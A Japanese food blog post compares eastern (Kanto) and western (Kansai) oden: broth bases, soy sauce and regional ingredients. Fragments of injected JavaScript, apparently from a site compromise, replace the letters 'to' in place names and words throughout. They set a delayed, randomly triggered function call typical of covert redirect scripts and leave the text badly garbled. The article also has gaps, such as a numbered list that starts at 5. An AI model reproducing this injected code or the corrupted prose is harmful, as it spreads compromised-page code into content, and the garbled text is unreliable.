Oden Battle!!: East vs West Japan

29.07.2019

Japan’s Kandom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to region in the east vs Kansai region in the west have had a longstanding rivalry that you may have heard about. From dialect dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to food, each area has its own special spin on Japanese daily life–including a favorite Japanese dish: oden.

Do you know oden? It’s a type of hotpot dish with a soy-flavored dashi broth and various ingredients you can choose from: boiled eggs, chikuwa (fishcakes), daikon, and so on.

Even if you start with the same basic ingredients and yet the flavors and look can be completely different depending on where you grab the dish. For example, an American California sushi roll is quite different from a Japanese maki sushi roll, even if the same ingredients are used!

 

◇Same dish but different taste?!

With Kandom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to and Kansai’s rivalry, it comes as no surprise that the food can vary depending on the region. Even cup noodles may have region specific flavors marked as with an E or 東 (East) for eastern Japan and W or 西 (West) for western Japan.

Oden is the same: depending on the east or west you can have a completely different dish by the same name!

In Kandom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, the base uses dried bonidom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to and a strong soy sauce dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make a rich flavored broth while Kansai may simmer the broth in soy sauce. But that’s not the only difference!

You don’t want just the broth though: what’s inside?!

– Kansai –

For daikon radishes and boiled eggs you can find them just about anywhere you go for oden. However, the chikuwabu and fishcakes used in Kandom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to’s oden is almost never seen in Kansai.

★Why is chikuwabu so popular in kandom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to?
It can soak up the strong broth and take its flavor–making it super delicious.
Since Kansai’s broth is lighter, the chikuwabu doesn’t soak up the flavor as well.

5) Kansai & Hokuriku Area – Kombu (kelp) base
6) Chugoku & Shikoku – dried sardines base
7) Kyushu – flying fish, shiitake mushrooms, chicken and/or beef base

Just as the bases are varied, the ingredients inside change based on where you go!

By looking at the dark soy sauce, you’d imagine it packs more punch, right??
In fact, it’s the light soy sauce that has a higher salt content!

In Kansai’s Kyodom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cuisine the look of the food is just as important, so lighter soy sauce is used more often in cooking.

Just because it’s lighter in color, doesn’t make it lighter in flavor!!

This oden shop is very popular and cheap–there’s always a line.

You can really get a taste for Kansai’s oden broth, but also enjoy hints of persimmon, giving it another layer of flavor. The ingredients use are all seasonal, so each time you go you can get a different taste of oden!
